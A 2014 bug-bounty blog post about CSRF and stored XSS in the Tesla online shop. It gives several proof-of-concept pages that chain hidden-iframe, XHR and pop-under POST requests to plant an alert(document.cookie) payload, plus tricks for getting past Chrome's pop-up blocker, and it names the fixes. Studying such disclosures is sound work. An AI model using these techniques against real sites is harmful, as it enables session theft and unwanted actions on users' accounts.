Friday, 31 January 2014

Tesla Shop CSRF/XSS And Multiple POST Requests

Back in November Tesla announced they were starting a bug bounty program. I took a quick look and came across a few CSRF and XSS issues in their shop site. Although the vulnerabilities themselves were nothing special, to instantly trigger the XSS required multiple POSTs.

In this post I'll look at some of the potential exploit techniques in Chrome v32.

TL;DR XSS using iframes, window.open, pop-unders and boobs!


The Tesla store and it's vulns

The Tesla shop (http://shop.teslamotors.com/) was missing CSRF tokens/headers, X-Frame-Options and also the VIN parameter (vehicle identification number?) was susceptible to stored XSS.

The cart and VIN number

If you entered an XSS payload in the VIN field and then proceeded to the checkout the VIN would be stored on the cart page. The next time the user visited the cart page the XSS would be triggered. To exploit all we'd need to do is build a malicious page with a form containing our XSS payload that is auto-submitted when the user loads our page. Easy right?

<form name="csrf_form" action="http://shop.teslamotors.com/cart" method="POST">
<input name="updates[]" type="hidden" value="1">
<input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'>
<input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form>
<script>document.csrf_form.submit();</script>


Although this would work the payload wouldn't trigger until the user actually visited the cart page and also if the user didn't have any items in their cart the VIN wouldn't load successfully.


Instant XSS Pwnage with iframes

To instantly and reliably trigger the XSS I would need to get the user to:
  1. Add an item to their cart 
  2. Add an XSS payload as a VIN number
  3. Make them visit their cart to trigger the XSS 
There are a number of ways to send POST requests. The easiest option was to use three iframes and some timers to send the requests one by one. Each submission will occur in a separate iframe, leaving the malicious page in-tact and using width/height zero iframes the user won't see anything happening. Example code:

<iframe id=iframe1 width=0 height=0 frameborder=0></iframe>
<iframe id=iframe2 width=0 height=0 frameborder=0></iframe>
<iframe id=iframe3 width=0 height=0 frameborder=0></iframe>
<script>
setTimeout(function(){document.getElementById('iframe1').contentWindow.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');},100);

setTimeout(function(){document.getElementById('iframe2').contentWindow.document.write('<form name="csrf_form2" action="http://shop.teslamotors.com/cart" method="POST"><input name="updates[]" type="hidden" value="1"><input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'><input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form><script>document.csrf_form2.submit();\</script\>');},3000);

setTimeout(function(){document.getElementById('iframe3').src='http://shop.teslamotors.com/cart'},6000);
</script>


Or we can crack out the XHR which allows us to send requests directly from our javascript and then get the XSS to trigger in an iframe (a GET using XHR wouldn't work as the site was missing Access-Control headers) something like this:

<script>
function xhrcsrf(){
//Add item to cart
var http = new XMLHttpRequest();
http.open("POST", "http://shop.teslamotors.com/cart/add" , true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.withCredentials = "true";
http.send("id=47210232");
//Add XSS payload as VIN
setTimeout(function(){
http.open("POST", "http://shop.teslamotors.com/cart" , true);
http.send("updates[]=1&attributes[your-VIN]=\"><iframe/onload=alert(document.cookie)>&note=&checkout=Checkout");
},1000)
//Visit cart part to trigger XSS
setTimeout(function(){document.write('<iframe src="http://shop.teslamotors.com/cart" width=0 height=0 frameborder=0/></iframe>')},3000);
}
xhrcsrf();
</script>

And running either POC you get the much loved alert window+cookie:


In terms of impact the CSRF/XSS seemed to be low risk as you just gain access to the cart, the more juicy payment and user session data is unfortunately held on the shopify site with the checkout. But what about other exploitation techniques? How about if the user had somehow disabled iframes? :o
 

BONUS - Non-iframe POC!

While building the first POC I got to thinking about non-iframe and non-XHR possibilities. Without iframes there are a number of problems to overcome:
  • On a single page you can't submit multiple forms simultaneously.
  • Submitting a form will take the user to the new page, away from our malicious page.
  • It's not possible to auto create new windows with javascript, without user interaction e.g. onclick
  • Even with user interaction you can't create multiple new windows as the pop-up blocker will block additional windows.
  • Chrome will focus any new window making user interaction on the malicious page difficult to maintain.
  • Pop-unders are often prevented by Chrome.
So what's the answer?


Multiple POSTs Multiple Windows

My first idea was to open new windows, document.write my code and my POST requests would be sent leaving my malicious page intact. Unfortunately window.open requires user interaction (onclick, onkeypress etc.) to evade the pop-up blocker.

<script>window.open();</script>


To get my three new windows (add item to cart, add VIN no, visit cart page) I'd need the user to click/type three times to evade the pop-up blocker. Once created I could write my code, the POSTs would be sent and I could close them. Something like this:

<script>
i=0;
function openWin(){
 if(i==0){
  var win1 = window.open("","win1","left=5000,top=5000,width=10,height=10");
  win1.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');
  setTimeout(function(){win1.close()},2000);
  i++;
 }else if(i==1){
  var win2 = window.open("","win1","left=5000,top=5000,width=10,height=10");
  win2.document.write('<form name="csrf_form2" action="http://shop.teslamotors.com/cart" method="POST"><input name="updates[]" type="hidden" value="1"><input name="attributes[your-VIN]" type="hidden" value=\'"><iframe/onload=alert(document.cookie)>\'><input name="note" type="hidden" value=""><input name="checkout" type="hidden" value="Checkout"></form><script>document.csrf_form2.submit();\</script\>');
  setTimeout(function(){win2.close();},2000);
  i++;
 }else if(i==2){
  var win3 = window.open("http://shop.teslamotors.com/cart","win3","left=5000,top=5000,width=10,height=10");
  setTimeout(function(){win3.close();},2000);
 }
 document.getElementById("but").innerHTML= "Press me " + (3-i) + " times!";
}
</script>
<button id="but" onclick="openWin()">Press me 3 times!</button>


The POC worked ok but you'd see windows appear and disappear in the bottom right:


Wouldn't it be better if the windows didn't show up at all?


Pop-under?

One option is a pop-under which will open as a new tab but keep focus on the malicious page. Using the code from here it's possible to simulate a click event on a link and achieve a pop-under:

<button onclick="popunder()">Click me!</button>
<a href="/evil.html" target="blank" id="linky"></a>
<script>
function popunder(){
var a=document.getElementById("linky");
var e=document.createEvent('MouseEvents');
e.initMouseEvent('click',true,true,window,0,0,0,0,0,true,false,false,true,0,null);
a.dispatchEvent(e)
}
</script>

The catch with this technique is that I couldn't find a way to interact with the new window. I could easily host my malicious code in another page and load that no problem. But then there was no way to close the window once the POST was sent so the user would be left with three new open tabs. Not sure if this is a security feature or I'm missing the obvious! Suggestions are welcome :)


How to stay focused?

Going back to the first technique of creating new windows the underlying problem was focus.


I needed to somehow keep the user on the page while simultaneously opening and closing windows in the background. One possibility I discovered was using alert() to effectively create a pop-under, something like the following:

<button onclick=newwin();>Click!</button>
<script>
function newwin(){
var myWindow1 = window.open("","myWindow1","width=10,height=10");
myWindow1.document.write('<form name="csrf_form1" action="http://shop.teslamotors.com/cart/add" method="POST"><input name="id" type="hidden" value="47210232"></form><script>document.csrf_form1.submit();\</script\>');
alert("lol you got a pop-under!");
setTimeout(function(){myWindow1.close()},3000);
}
</script>

User clicks somewhere in the malicious page, a pop-up is created, alert triggers and keeps focus on malicious window, the pop-up effectively becomes a pop-under, request is sent in pop-under, malicious page closes pop-under.



In the screenshot you can see the pop-under on the left, of course this could be a lot smaller and positioned behind the existing window (the smaller arrow points to Bugcrowd :D).


Final Thoughts

This post was a bit of a random journey through browser restrictions and javascript, I hope I didn't lose you guys along the way :) It was interesting to see that even in 2014 a lot of tricks can still be performed with iframes, XHR, new windows, pop-unders and alert boxes. Each has it's pros and cons. XSS/CSRF is nothing new, pretty much everything I showed above could have easily been prevented if the server used output encoding+CSRF tokens+X-Frame-Options.

Although I didn't mention it earlier same origin policy was a pain in the ass and techniques like blur() and focus() wouldn't work for me. Something to bear in mind if you want to do some testing of your own.

Hope you've enjoyed reading, comments and suggestions for improvements are appreciated :)


Pwndizzle out

1 comment:

  1. Here's the online Tesla VIN decoder. It shows factory options and extended tech info.

    ReplyDelete